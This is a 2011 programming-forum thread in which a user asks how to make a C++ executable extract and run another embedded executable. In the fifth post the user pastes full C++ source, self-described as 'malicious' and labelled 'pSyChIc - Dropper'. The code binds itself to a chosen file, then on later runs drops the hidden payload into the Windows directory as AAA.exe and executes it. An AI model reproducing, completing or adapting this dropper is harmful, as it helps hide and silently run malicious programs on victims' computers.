Hello guys, I want to ask you for a little help.
I wand to find out how to make such a executable file (in C++), that if it is run, it will extract another executable Exe e.g to directory C:\\my_extracted_file.exe. And that my_extracted_file.exe should display some MessageBox, if it's run.
I hope, that someone will help me, I read alots of internet articles about this, but I failed...
Please don't post me some references, I can't understand it somehow. I would be very delighted if you show me some example code (C++).
|
Go4Expert Founder
|
![]() |
| 28Apr2011,11:03 | #2 |
|
I don't have the program in hand but can shed you the concept on how to get this done.
Create the exe file you want to be extracted. Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
Scripting
like this
|
|
John Hoder
|
|
| 28Apr2011,15:57 | #3 |
|
Quote:
Originally Posted by shabbir ![]() I know that it seems like i'm just stupid beginner, but I have done a good deal of work in C++, but just can't get this, what you just explained me. But nevertheless thank you for reply... |
|
Go4Expert Founder
|
![]() |
| 28Apr2011,16:18 | #4 |
|
I am not an expert in Dev-C++ but in MFC you can add the resource.
Scripting
like this
|
|
John Hoder
|
|
| 28Apr2011,16:36 | #5 |
|
Ok, so I found some "malicious" code, It creates some exe in windir, but that exe is empty, so if you can, please suggest me how to write to that file MessageBox function.
Here's the code: Code:
#include <iostream.h>
#include <fstream.h>
#include <windows.h>
#include <string.h>
int write(int mysize,char *tpath,char *mybuf)
{
int tsize = 0;
ifstream tfile(tpath,ios::binary);
tfile.seekg (0,ios::end);
tsize = tfile.tellg();
tfile.seekg (0,ios::beg);
char tbuf[tsize];
tfile.read(tbuf,tsize);
tfile.close();
ofstream outputfile(tpath,ios::binary);
outputfile.write(mybuf,mysize);
outputfile.write(tbuf,tsize);
outputfile.close();
cout<<tpath<<endl;
};
void extract(int mysize,char *target)
{
char windir[250];
GetWindowsDirectory(windir,MAX_PATH);
ifstream tfile(target,ios::binary);
tfile.seekg (427646);
int theamount = mysize - 427646;
char tbuf[theamount];
tfile.read(tbuf,theamount);
tfile.close();
char mypath[100];
strcpy (mypath,windir);
strcat (mypath,"\\AAA.exe");
ofstream outfile(mypath,ios::binary);
outfile.write(tbuf,theamount);
outfile.close();
cout<<mypath;
system(mypath); };
int checkit(int mysize,char *mybuf,char *target)
{
int checker = 0;
char tpath[512];
if (mysize != 427646)
{
extract(mysize,target);
}
else
{
cout<<"pSyChIc - Dropper"<<endl;
cout<<"Input file path"<<endl;
cin>>tpath;
write (mysize,tpath,mybuf);
}
};
int main(int argc, char *argv[])
{
long mysize;
char *target;
target= argv[0];
ifstream myfile(argv[0],ios::binary);
myfile.seekg (0,ios::end);
mysize = myfile.tellg();
myfile.seekg (0,ios::beg);
char mybuf[mysize];
myfile.read(mybuf,mysize);
myfile.close();
checkit (mysize,mybuf,target);
}
![]() I think this will be easier and more compatible than ur previous idea, but that was good too, only problem is that i don't know how to work with MFC ..., so please help me with this . Last edited by Scripting; 28Apr2011 at 16:40.. |
|
John Hoder
|
|
| 28Apr2011,20:15 | #6 |
|
I don't quite understand that code, but I just need to add there that MessageBox function, that's all. Thank for all replies !
|
|
Go4Expert Founder
|
![]() |
| 28Apr2011,20:27 | #7 |
|
Try AfxMessageBox
|
|
John Hoder
|
|
| 28Apr2011,20:37 | #8 |
|
As I told you previously, I can't use any Afx or similiar VC++ things, I use Dev-C++, so please suggest me some solution for the code i posted previously.
|
|
John Hoder
|
|
| 30Apr2011,17:36 | #9 |
|
Damn, no one can solve this problem ...
|
|
John Hoder
|
|
| 3May2011,17:58 | #10 |
|
go4noob, there is none expert, who could solve this problem ...
|



